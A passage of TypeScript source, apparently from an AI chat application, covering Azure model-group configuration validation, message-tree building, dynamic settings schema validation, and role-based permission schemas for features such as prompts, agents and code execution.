useToast,\n};\n\nexport const essentialShadcnComponents = {\n utils: utils,\n avatar: avatar,\n button: button,\n card: card,\n checkbox: checkbox,\n input: input,\n label: label,\n radioGroup: radioGroup,\n select: select,\n textarea: textarea,\n // badge: badge,\n // dialog: dialog,\n // table: table,\n};\n","import type { ZodError } from 'zod';\nimport type {\n TAzureGroups,\n TAzureGroupMap,\n TAzureModelGroupMap,\n TValidatedAzureConfig,\n TAzureConfigValidationResult,\n} from '../src/config';\nimport { extractEnvVariable, envVarRegex } from '../src/utils';\nimport { azureGroupConfigsSchema } from '../src/config';\nimport { errorsToString } from '../src/parsers';\n\nexport function validateAzureGroups(configs: TAzureGroups): TAzureConfigValidationResult {\n let isValid = true;\n const modelNames: string[] = [];\n const modelGroupMap: TAzureModelGroupMap = {};\n const groupMap: TAzureGroupMap = {};\n const errors: (ZodError | string)[] = [];\n\n const result = azureGroupConfigsSchema.safeParse(configs);\n if (!result.success) {\n isValid = false;\n errors.push(errorsToString(result.error.errors));\n } else {\n for (const group of result.data) {\n const {\n group: groupName,\n apiKey,\n instanceName = '',\n deploymentName = '',\n version = '',\n baseURL = '',\n additionalHeaders,\n models,\n serverless = false,\n ...rest\n } = group;\n\n if (groupMap[groupName]) {\n errors.push(`Duplicate group name detected: \"${groupName}\". Group names must be unique.`);\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n if (serverless && !baseURL) {\n errors.push(`Group \"${groupName}\" is serverless but missing mandatory \"baseURL.\"`);\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n if (!instanceName && !serverless) {\n errors.push(\n `Group \"${groupName}\" is missing an \"instanceName\" for non-serverless configuration.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n groupMap[groupName] = {\n apiKey,\n instanceName,\n deploymentName,\n version,\n baseURL,\n additionalHeaders,\n models,\n serverless,\n ...rest,\n };\n\n for (const modelName in group.models) {\n modelNames.push(modelName);\n const model = group.models[modelName];\n\n if (modelGroupMap[modelName]) {\n errors.push(\n `Duplicate model name detected: \"${modelName}\". Model names must be unique across groups.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n if (serverless) {\n modelGroupMap[modelName] = {\n group: groupName,\n };\n continue;\n }\n\n const groupDeploymentName = group.deploymentName ?? '';\n const groupVersion = group.version ?? '';\n if (typeof model === 'boolean') {\n // For boolean models, check if group-level deploymentName and version are present.\n if (!groupDeploymentName || !groupVersion) {\n errors.push(\n `Model \"${modelName}\" in group \"${groupName}\" is missing a deploymentName or version.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n modelGroupMap[modelName] = {\n group: groupName,\n };\n } else {\n const modelDeploymentName = model.deploymentName ?? '';\n const modelVersion = model.version ?? '';\n // For object models, check if deploymentName and version are required but missing.\n if ((!modelDeploymentName && !groupDeploymentName) || (!modelVersion && !groupVersion)) {\n errors.push(\n `Model \"${modelName}\" in group \"${groupName}\" is missing a required deploymentName or version.`,\n );\n return { isValid: false, modelNames, modelGroupMap, groupMap, errors };\n }\n\n modelGroupMap[modelName] = {\n group: groupName,\n // deploymentName: modelDeploymentName || groupDeploymentName,\n // version: modelVersion || groupVersion,\n };\n }\n }\n }\n }\n\n return { isValid, modelNames, modelGroupMap, groupMap, errors };\n}\n\ntype AzureOptions = {\n azureOpenAIApiKey: string;\n azureOpenAIApiInstanceName?: string;\n azureOpenAIApiDeploymentName?: string;\n azureOpenAIApiVersion?: string;\n};\n\ntype MappedAzureConfig = {\n azureOptions: AzureOptions;\n baseURL?: string;\n headers?: Record<string, string>;\n serverless?: boolean;\n};\n\nexport function mapModelToAzureConfig({\n modelName,\n modelGroupMap,\n groupMap,\n}: Omit<TValidatedAzureConfig, 'modelNames'> & {\n modelName: string;\n}): MappedAzureConfig {\n const modelConfig = modelGroupMap[modelName];\n if (!modelConfig) {\n throw new Error(`Model named \"${modelName}\" not found in configuration.`);\n }\n\n const groupConfig = groupMap[modelConfig.group];\n if (!groupConfig) {\n throw new Error(\n `Group \"${modelConfig.group}\" for model \"${modelName}\" not found in configuration.`,\n );\n }\n\n const instanceName = groupConfig.instanceName ?? '';\n\n if (!instanceName && groupConfig.serverless !== true) {\n throw new Error(\n `Group \"${modelConfig.group}\" is missing an instanceName for non-serverless configuration.`,\n );\n }\n\n const baseURL = groupConfig.baseURL ?? '';\n if (groupConfig.serverless === true && !baseURL) {\n throw new Error(\n `Group \"${modelConfig.group}\" is missing the required base URL for serverless configuration.`,\n );\n }\n\n if (groupConfig.serverless === true) {\n const result: MappedAzureConfig = {\n azureOptions: {\n azureOpenAIApiVersion: extractEnvVariable(groupConfig.version ?? ''),\n azureOpenAIApiKey: extractEnvVariable(groupConfig.apiKey),\n },\n baseURL: extractEnvVariable(baseURL),\n serverless: true,\n };\n\n const apiKeyValue = result.azureOptions.azureOpenAIApiKey;\n if (typeof apiKeyValue === 'string' && envVarRegex.test(apiKeyValue)) {\n throw new Error(`Azure configuration environment variable \"${apiKeyValue}\" was not found.`);\n }\n\n if (groupConfig.additionalHeaders) {\n result.headers = groupConfig.additionalHeaders;\n }\n\n return result;\n }\n\n if (!instanceName) {\n throw new Error(\n `Group \"${modelConfig.group}\" is missing an instanceName for non-serverless configuration.`,\n );\n }\n\n const modelDetails = groupConfig.models[modelName];\n const { deploymentName = '', version = '' } =\n typeof modelDetails === 'object'\n ? {\n deploymentName: modelDetails.deploymentName ?? groupConfig.deploymentName,\n version: modelDetails.version ?? groupConfig.version,\n }\n : {\n deploymentName: groupConfig.deploymentName,\n version: groupConfig.version,\n };\n\n if (!deploymentName || !version) {\n throw new Error(\n `Model \"${modelName}\" in group \"${modelConfig.group}\" is missing a deploymentName (\"${deploymentName}\") or version (\"${version}\").`,\n );\n }\n\n const azureOptions: AzureOptions = {\n azureOpenAIApiKey: extractEnvVariable(groupConfig.apiKey),\n azureOpenAIApiInstanceName: extractEnvVariable(instanceName),\n azureOpenAIApiDeploymentName: extractEnvVariable(deploymentName),\n azureOpenAIApiVersion: extractEnvVariable(version),\n };\n\n for (const value of Object.values(azureOptions)) {\n if (typeof value === 'string' && envVarRegex.test(value)) {\n throw new Error(`Azure configuration environment variable \"${value}\" was not found.`);\n }\n }\n\n const result: MappedAzureConfig = { azureOptions };\n\n if (baseURL) {\n result.baseURL = extractEnvVariable(baseURL);\n }\n\n if (groupConfig.additionalHeaders) {\n result.headers = groupConfig.additionalHeaders;\n }\n\n return result;\n}\n\nexport function mapGroupToAzureConfig({\n groupName,\n groupMap,\n}: {\n groupName: string;\n groupMap: TAzureGroupMap;\n}): MappedAzureConfig {\n const groupConfig = groupMap[groupName];\n if (!groupConfig) {\n throw new Error(`Group named \"${groupName}\" not found in configuration.`);\n }\n\n const instanceName = groupConfig.instanceName ?? '';\n const serverless = groupConfig.serverless ?? false;\n const baseURL = groupConfig.baseURL ?? '';\n\n if (!instanceName && !serverless) {\n throw new Error(\n `Group \"${groupName}\" is missing an instanceName for non-serverless configuration.`,\n );\n }\n\n if (serverless && !baseURL) {\n throw new Error(\n `Group \"${groupName}\" is missing the required base URL for serverless configuration.`,\n );\n }\n\n const models = Object.keys(groupConfig.models);\n if (models.length === 0) {\n throw new Error(`Group \"${groupName}\" does not have any models configured.`);\n }\n\n // Use the first available model in the group\n const firstModelName = models[0];\n const modelDetails = groupConfig.models[firstModelName];\n\n const azureOptions: AzureOptions = {\n azureOpenAIApiVersion: extractEnvVariable(groupConfig.version ?? ''),\n azureOpenAIApiKey: extractEnvVariable(groupConfig.apiKey),\n azureOpenAIApiInstanceName: extractEnvVariable(instanceName),\n // DeploymentName and Version set below\n };\n\n if (serverless) {\n return {\n azureOptions,\n baseURL: extractEnvVariable(baseURL),\n serverless: true,\n ...(groupConfig.additionalHeaders && { headers: groupConfig.additionalHeaders }),\n };\n }\n\n const { deploymentName = '', version = '' } =\n typeof modelDetails === 'object'\n ? {\n deploymentName: modelDetails.deploymentName ?? groupConfig.deploymentName,\n version: modelDetails.version ?? groupConfig.version,\n }\n : {\n deploymentName: groupConfig.deploymentName,\n version: groupConfig.version,\n };\n\n if (!deploymentName || !version) {\n throw new Error(\n `Model \"${firstModelName}\" in group \"${groupName}\" or the group itself is missing a deploymentName (\"${deploymentName}\") or version (\"${version}\").`,\n );\n }\n\n azureOptions.azureOpenAIApiDeploymentName = extractEnvVariable(deploymentName);\n azureOptions.azureOpenAIApiVersion = extractEnvVariable(version);\n\n const result: MappedAzureConfig = { azureOptions };\n\n if (baseURL) {\n result.baseURL = extractEnvVariable(baseURL);\n }\n\n if (groupConfig.additionalHeaders) {\n result.headers = groupConfig.additionalHeaders;\n }\n\n return result;\n}\n","import type { TFile } from './types/files';\nimport type { TMessage } from './types';\n\nexport type ParentMessage = TMessage & { children: TMessage[]; depth: number };\nexport function buildTree({\n messages,\n fileMap,\n}: {\n messages: (TMessage | undefined)[] | null;\n fileMap?: Record<string, TFile>;\n}) {\n if (messages === null) {\n return null;\n }\n\n const messageMap: Record<string, ParentMessage> = {};\n const rootMessages: TMessage[] = [];\n const childrenCount: Record<string, number> = {};\n\n messages.forEach((message) => {\n if (!message) {\n return;\n }\n const parentId = message.parentMessageId ?? '';\n childrenCount[parentId] = (childrenCount[parentId] || 0) + 1;\n\n const extendedMessage: ParentMessage = {\n ...message,\n children: [],\n depth: 0,\n siblingIndex: childrenCount[parentId] - 1,\n };\n\n if (message.files && fileMap) {\n extendedMessage.files = message.files.map((file) => fileMap[file.file_id ?? ''] ?? file);\n }\n\n messageMap[message.messageId] = extendedMessage;\n\n const parentMessage = messageMap[parentId];\n if (parentMessage) {\n parentMessage.children.push(extendedMessage);\n extendedMessage.depth = parentMessage.depth + 1;\n } else {\n rootMessages.push(extendedMessage);\n }\n });\n\n return rootMessages;\n}\n","import { z, ZodArray, ZodError, ZodIssueCode } from 'zod';\nimport { tConversationSchema, googleSettings as google, openAISettings as openAI } from './schemas';\nimport type { ZodIssue } from 'zod';\nimport type { TConversation, TSetOption, TPreset } from './schemas';\n\nexport type GoogleSettings = Partial<typeof google>;\nexport type OpenAISettings = Partial<typeof google>;\n\nexport type ComponentType =\n | 'input'\n | 'textarea'\n | 'slider'\n | 'checkbox'\n | 'switch'\n | 'dropdown'\n | 'combobox'\n | 'tags';\n\nexport type OptionType = 'conversation' | 'model' | 'custom';\n\nexport type Option = Record<string, unknown> & {\n label?: string;\n value: string | number | null;\n};\n\nexport type OptionWithIcon = Option & { icon?: React.ReactNode };\n\nexport enum ComponentTypes {\n Input = 'input',\n Textarea = 'textarea',\n Slider = 'slider',\n Checkbox = 'checkbox',\n Switch = 'switch',\n Dropdown = 'dropdown',\n Combobox = 'combobox',\n Tags = 'tags',\n}\n\nexport enum SettingTypes {\n Number = 'number',\n Boolean = 'boolean',\n String = 'string',\n Enum = 'enum',\n Array = 'array',\n}\n\nexport enum OptionTypes {\n Conversation = 'conversation',\n Model = 'model',\n Custom = 'custom',\n}\nexport interface SettingDefinition {\n key: string;\n description?: string;\n type: 'number' | 'boolean' | 'string' | 'enum' | 'array';\n default?: number | boolean | string | string[];\n showLabel?: boolean;\n showDefault?: boolean;\n options?: string[];\n range?: SettingRange;\n enumMappings?: Record<string, number | boolean | string>;\n component: ComponentType;\n optionType?: OptionType;\n columnSpan?: number;\n columns?: number;\n label?: string;\n placeholder?: string;\n labelCode?: boolean;\n placeholderCode?: boolean;\n descriptionCode?: boolean;\n minText?: number;\n maxText?: number;\n minTags?: number; // Specific to tags component\n maxTags?: number; // Specific to tags component\n includeInput?: boolean; // Specific to slider component\n descriptionSide?: 'top' | 'right' | 'bottom' | 'left';\n items?: OptionWithIcon[]; // Specific to combobox component\n searchPlaceholder?: string; // Specific to combobox component\n selectPlaceholder?: string; // Specific to combobox component\n searchPlaceholderCode?: boolean; // Specific to combobox component\n selectPlaceholderCode?: boolean; // Specific to combobox component\n}\n\nexport type DynamicSettingProps = Partial<SettingDefinition> & {\n readonly?: boolean;\n settingKey: string;\n setOption: TSetOption;\n conversation: Partial<TConversation> | Partial<TPreset> | null;\n defaultValue?: number | boolean | string | string[];\n className?: string;\n inputClassName?: string;\n};\n\nconst requiredSettingFields = ['key', 'type', 'component'];\n\nexport interface SettingRange {\n min: number;\n max: number;\n step?: number;\n}\n\nexport type SettingsConfiguration = SettingDefinition[];\n\nexport function generateDynamicSchema(settings: SettingsConfiguration) {\n const schemaFields: { [key: string]: z.ZodTypeAny } = {};\n\n for (const setting of settings) {\n const {\n key,\n type,\n default: defaultValue,\n range,\n options,\n minText,\n maxText,\n minTags,\n maxTags,\n } = setting;\n\n if (type === SettingTypes.Number) {\n let schema = z.number();\n if (range) {\n schema = schema.min(range.min);\n schema = schema.max(range.max);\n }\n if (typeof defaultValue === 'number') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Boolean) {\n const schema = z.boolean();\n if (typeof defaultValue === 'boolean') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.String) {\n let schema = z.string();\n if (minText) {\n schema = schema.min(minText);\n }\n if (maxText) {\n schema = schema.max(maxText);\n }\n if (typeof defaultValue === 'string') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Enum) {\n if (!options || options.length === 0) {\n console.warn(`Missing or empty 'options' for enum setting '${key}'.`);\n continue;\n }\n\n const schema = z.enum(options as [string, ...string[]]);\n if (typeof defaultValue === 'string') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Array) {\n let schema: z.ZodSchema = z.array(z.string().or(z.number()));\n if (minTags && schema instanceof ZodArray) {\n schema = schema.min(minTags);\n }\n if (maxTags && schema instanceof ZodArray) {\n schema = schema.max(maxTags);\n }\n\n if (defaultValue && Array.isArray(defaultValue)) {\n schema = schema.default(defaultValue);\n }\n\n schemaFields[key] = schema;\n continue;\n }\n\n console.warn(`Unsupported setting type: ${type}`);\n }\n\n return z.object(schemaFields);\n}\n\nconst ZodTypeToSettingType: Record<string, string | undefined> = {\n ZodString: 'string',\n ZodNumber: 'number',\n ZodBoolean: 'boolean',\n};\n\nconst minColumns = 1;\nconst maxColumns = 4;\nconst minSliderOptions = 2;\nconst minDropdownOptions = 2;\nconst minComboboxOptions = 2;\n\n/**\n * Validates the provided setting using the constraints unique to each component type.\n * @throws {ZodError} Throws a ZodError if any validation fails.\n */\nexport function validateSettingDefinitions(settings: SettingsConfiguration): void {\n const errors: ZodIssue[] = [];\n // Validate columns\n const columnsSet = new Set<number>();\n for (const setting of settings) {\n if (setting.columns !== undefined) {\n if (setting.columns < minColumns || setting.columns > maxColumns) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid columns value for setting ${setting.key}. Must be between ${minColumns} and ${maxColumns}.`,\n path: ['columns'],\n });\n } else {\n columnsSet.add(setting.columns);\n }\n }\n }\n\n const columns = columnsSet.size === 1 ? columnsSet.values().next().value : 2;\n\n for (const setting of settings) {\n for (const field of requiredSettingFields) {\n if (setting[field as keyof SettingDefinition] === undefined) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Missing required field ${field} for setting ${setting.key}.`,\n path: [field],\n });\n }\n }\n\n // check accepted types\n const settingTypes = Object.values(SettingTypes);\n if (!settingTypes.includes(setting.type as SettingTypes)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid type for setting ${setting.key}. Must be one of ${settingTypes.join(\n ', ',\n )}.`,\n path: ['type'],\n });\n }\n\n // Predefined constraints based on components\n if (\n (setting.component === ComponentTypes.Tags && setting.type !== SettingTypes.Array) ||\n (setting.component !== ComponentTypes.Tags && setting.type === SettingTypes.Array)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Tags component for setting ${setting.key} must have type array.`,\n path: ['type'],\n });\n }\n\n if (setting.component === ComponentTypes.Tags) {\n if (setting.minTags !== undefined && setting.minTags < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid minTags value for setting ${setting.key}. Must be non-negative.`,\n path: ['minTags'],\n });\n }\n if (setting.maxTags !== undefined && setting.maxTags < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid maxTags value for setting ${setting.key}. Must be non-negative.`,\n path: ['maxTags'],\n });\n }\n if (setting.default && !Array.isArray(setting.default)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be an array.`,\n path: ['default'],\n });\n }\n if (setting.default && setting.maxTags && (setting.default as []).length > setting.maxTags) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must have at most ${setting.maxTags} tags.`,\n path: ['default'],\n });\n }\n if (setting.default && setting.minTags && (setting.default as []).length < setting.minTags) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must have at least ${setting.minTags} tags.`,\n path: ['default'],\n });\n }\n if (!setting.default) {\n setting.default = [];\n }\n }\n\n if (\n setting.component === ComponentTypes.Input ||\n setting.component === ComponentTypes.Textarea\n ) {\n if (setting.type === SettingTypes.Number && setting.component === ComponentTypes.Textarea) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Textarea component for setting ${setting.key} must have type string.`,\n path: ['type'],\n });\n // continue;\n }\n\n if (\n setting.minText !== undefined &&\n setting.maxText !== undefined &&\n setting.minText > setting.maxText\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `For setting ${setting.key}, minText cannot be greater than maxText.`,\n path: [setting.key, 'minText', 'maxText'],\n });\n // continue;\n }\n if (!setting.placeholder) {\n setting.placeholder = '';\n } // Default placeholder\n }\n\n if (setting.component === ComponentTypes.Slider) {\n if (setting.type === SettingTypes.Number && !setting.range) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Slider component for setting ${setting.key} must have a range if type is number.`,\n path: ['range'],\n });\n // continue;\n }\n if (\n setting.type === SettingTypes.Enum &&\n (!setting.options || setting.options.length < minSliderOptions)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Slider component for setting ${setting.key} requires at least ${minSliderOptions} options for enum type.`,\n path: ['options'],\n });\n // continue;\n }\n setting.includeInput =\n setting.type === SettingTypes.Number ? (setting.includeInput ?? true) : false; // Default to true if type is number\n }\n\n if (setting.component === ComponentTypes.Slider && setting.type === SettingTypes.Number) {\n if (setting.default === undefined && setting.range) {\n // Set default to the middle of the range if unspecified\n setting.default = Math.round((setting.range.min + setting.range.max) / 2);\n }\n }\n\n if (\n setting.component === ComponentTypes.Checkbox ||\n setting.component === ComponentTypes.Switch\n ) {\n if (setting.options && setting.options.length > 2) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Checkbox/Switch component for setting ${setting.key} must have 1-2 options.`,\n path: ['options'],\n });\n // continue;\n }\n if (!setting.default && setting.type === SettingTypes.Boolean) {\n setting.default = false; // Default to false if type is boolean\n }\n }\n\n if (setting.component === ComponentTypes.Dropdown) {\n if (!setting.options || setting.options.length < minDropdownOptions) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Dropdown component for setting ${setting.key} requires at least ${minDropdownOptions} options.`,\n path: ['options'],\n });\n // continue;\n }\n if (!setting.default && setting.options && setting.options.length > 0) {\n setting.default = setting.options[0]; // Default to first option if not specified\n }\n }\n\n if (setting.component === ComponentTypes.Combobox) {\n if (!setting.options || setting.options.length < minComboboxOptions) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Combobox component for setting ${setting.key} requires at least ${minComboboxOptions} options.`,\n path: ['options'],\n });\n }\n if (!setting.default && setting.options && setting.options.length > 0) {\n setting.default = setting.options[0];\n }\n }\n\n // Default columnSpan\n if (!setting.columnSpan) {\n setting.columnSpan = Math.floor((columns ?? 0) / 2);\n }\n\n // Default label to key\n if (!setting.label) {\n setting.label = setting.key;\n }\n\n // Validate minText and maxText for input/textarea\n if (\n setting.component === ComponentTypes.Input ||\n setting.component === ComponentTypes.Textarea\n ) {\n if (setting.minText !== undefined && setting.minText < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid minText value for setting ${setting.key}. Must be non-negative.`,\n path: ['minText'],\n });\n }\n if (setting.maxText !== undefined && setting.maxText < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid maxText value for setting ${setting.key}. Must be non-negative.`,\n path: ['maxText'],\n });\n }\n }\n\n // Validate optionType and conversation schema\n if (setting.optionType !== OptionTypes.Custom) {\n const conversationSchema =\n tConversationSchema.shape[setting.key as keyof Omit<TConversation, 'disableParams'>];\n if (!conversationSchema) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Setting ${setting.key} with optionType \"${setting.optionType}\" must be defined in tConversationSchema.`,\n path: ['optionType'],\n });\n } else {\n const zodType = conversationSchema._def.typeName;\n const settingTypeEquivalent = ZodTypeToSettingType[zodType] || null;\n if (settingTypeEquivalent !== setting.type) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Setting ${setting.key} with optionType \"${setting.optionType}\" must match the type defined in tConversationSchema.`,\n path: ['optionType'],\n });\n }\n }\n }\n\n /* Default value checks */\n if (\n setting.type === SettingTypes.Number &&\n isNaN(setting.default as number) &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a number.`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Boolean &&\n typeof setting.default !== 'boolean' &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a boolean.`,\n path: ['default'],\n });\n }\n\n if (\n (setting.type === SettingTypes.String || setting.type === SettingTypes.Enum) &&\n typeof setting.default !== 'string' &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a string.`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Enum &&\n setting.options &&\n !setting.options.includes(setting.default as string)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${\n setting.key\n }. Must be one of the options: [${setting.options.join(', ')}].`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Number &&\n setting.range &&\n typeof setting.default === 'number' &&\n (setting.default < setting.range.min || setting.default > setting.range.max)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be within the range [${setting.range.min}, ${setting.range.max}].`,\n path: ['default'],\n });\n }\n\n // Validate enumMappings\n if (setting.enumMappings && setting.type === SettingTypes.Enum && setting.options) {\n for (const option of setting.options) {\n if (!(option in setting.enumMappings)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Missing enumMapping for option \"${option}\" in setting ${setting.key}.`,\n path: ['enumMappings'],\n });\n }\n }\n }\n }\n\n if (errors.length > 0) {\n throw new ZodError(errors);\n }\n}\n\nexport const generateOpenAISchema = (customOpenAI: OpenAISettings) => {\n const defaults = { ...openAI, ...customOpenAI };\n return tConversationSchema\n .pick({\n model: true,\n chatGptLabel: true,\n promptPrefix: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n imageDetail: true,\n maxContextTokens: true,\n })\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? defaults.model.default,\n chatGptLabel: obj.chatGptLabel ?? null,\n promptPrefix: obj.promptPrefix ?? null,\n temperature: obj.temperature ?? defaults.temperature.default,\n top_p: obj.top_p ?? defaults.top_p.default,\n presence_penalty: obj.presence_penalty ?? defaults.presence_penalty.default,\n frequency_penalty: obj.frequency_penalty ?? defaults.frequency_penalty.default,\n resendFiles:\n typeof obj.resendFiles === 'boolean' ? obj.resendFiles : defaults.resendFiles.default,\n imageDetail: obj.imageDetail ?? defaults.imageDetail.default,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n }))\n .catch(() => ({\n model: defaults.model.default,\n chatGptLabel: null,\n promptPrefix: null,\n temperature: defaults.temperature.default,\n top_p: defaults.top_p.default,\n presence_penalty: defaults.presence_penalty.default,\n frequency_penalty: defaults.frequency_penalty.default,\n resendFiles: defaults.resendFiles.default,\n imageDetail: defaults.imageDetail.default,\n maxContextTokens: undefined,\n }));\n};\n\nexport const generateGoogleSchema = (customGoogle: GoogleSettings) => {\n const defaults = { ...google, ...customGoogle };\n return tConversationSchema\n .pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n examples: true,\n temperature: true,\n maxOutputTokens: true,\n topP: true,\n topK: true,\n maxContextTokens: true,\n })\n .transform((obj) => {\n return {\n ...obj,\n model: obj.model ?? defaults.model.default,\n modelLabel: obj.modelLabel ?? null,\n promptPrefix: obj.promptPrefix ?? null,\n examples: obj.examples ?? [{ input: { content: '' }, output: { content: '' } }],\n temperature: obj.temperature ?? defaults.temperature.default,\n maxOutputTokens: obj.maxOutputTokens ?? defaults.maxOutputTokens.default,\n topP: obj.topP ?? defaults.topP.default,\n topK: obj.topK ?? defaults.topK.default,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n };\n })\n .catch(() => ({\n model: defaults.model.default,\n modelLabel: null,\n promptPrefix: null,\n examples: [{ input: { content: '' }, output: { content: '' } }],\n temperature: defaults.temperature.default,\n maxOutputTokens: defaults.maxOutputTokens.default,\n topP: defaults.topP.default,\n topK: defaults.topK.default,\n maxContextTokens: undefined,\n }));\n};\n","import { z } from 'zod';\n\n/**\n * Enum for Permission Types\n */\nexport enum PermissionTypes {\n /**\n * Type for Prompt Permissions\n */\n PROMPTS = 'PROMPTS',\n /**\n * Type for Bookmark Permissions\n */\n BOOKMARKS = 'BOOKMARKS',\n /**\n * Type for Agent Permissions\n */\n AGENTS = 'AGENTS',\n /**\n * Type for Memory Permissions\n */\n MEMORIES = 'MEMORIES',\n /**\n * Type for Multi-Conversation Permissions\n */\n MULTI_CONVO = 'MULTI_CONVO',\n /**\n * Type for Temporary Chat\n */\n TEMPORARY_CHAT = 'TEMPORARY_CHAT',\n /**\n * Type for using the \"Run Code\" LC Code Interpreter API feature\n */\n RUN_CODE = 'RUN_CODE',\n /**\n * Type for using the \"Web Search\" feature\n */\n WEB_SEARCH = 'WEB_SEARCH',\n /**\n * Type for People Picker Permissions\n */\n PEOPLE_PICKER = 'PEOPLE_PICKER',\n /**\n * Type for Marketplace Permissions\n */\n MARKETPLACE = 'MARKETPLACE',\n /**\n * Type for using the \"File Search\" feature\n */\n FILE_SEARCH = 'FILE_SEARCH',\n /**\n * Type for using the \"File Citations\" feature in agents\n */\n FILE_CITATIONS = 'FILE_CITATIONS',\n /**\n * Type for MCP Server Permissions\n */\n MCP_SERVERS = 'MCP_SERVERS',\n /**\n * Type for Remote Agent (API) Permissions\n */\n REMOTE_AGENTS = 'REMOTE_AGENTS',\n}\n\n/**\n * Enum for Role-Based Access Control Constants\n */\nexport enum Permissions {\n USE = 'USE',\n CREATE = 'CREATE',\n UPDATE = 'UPDATE',\n READ = 'READ',\n READ_AUTHOR = 'READ_AUTHOR',\n SHARE = 'SHARE',\n /** Can disable if desired */\n OPT_OUT = 'OPT_OUT',\n VIEW_USERS = 'VIEW_USERS',\n VIEW_GROUPS = 'VIEW_GROUPS',\n VIEW_ROLES = 'VIEW_ROLES',\n /** Can share resources publicly (with everyone) */\n SHARE_PUBLIC = 'SHARE_PUBLIC',\n}\n\nexport const promptPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TPromptPermissions = z.infer<typeof promptPermissionsSchema>;\n\nexport const bookmarkPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TBookmarkPermissions = z.infer<typeof bookmarkPermissionsSchema>;\n\nexport const memoryPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.UPDATE]: z.boolean().default(true),\n [Permissions.READ]: z.boolean().default(true),\n [Permissions.OPT_OUT]: z.boolean().default(true),\n});\nexport type TMemoryPermissions = z.infer<typeof memoryPermissionsSchema>;\n\nexport const agentPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TAgentPermissions = z.infer<typeof agentPermissionsSchema>;\n\nexport const multiConvoPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TMultiConvoPermissions = z.infer<typeof multiConvoPermissionsSchema>;\n\nexport const temporaryChatPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TTemporaryChatPermissions = z.infer<typeof temporaryChatPermissionsSchema>;\n\nexport const runCodePermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TRunCodePermissions = z.infer<typeof runCodePermissionsSchema>;\n\nexport const webSearchPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TWebSearchPermissions = z.infer<typeof webSearchPermissionsSchema>;\n\nexport const peoplePickerPermissionsSchema = z.object({\n [Permissions.VIEW_USERS]: z.boolean().default(true),\n [Permissions.VIEW_GROUPS]: z.boolean().default(true),\n [Permissions.VIEW_ROLES]: z.boolean().default(true),\n});\nexport type TPeoplePickerPermissions = z.infer<typeof peoplePickerPermissionsSchema>;\n\nexport const 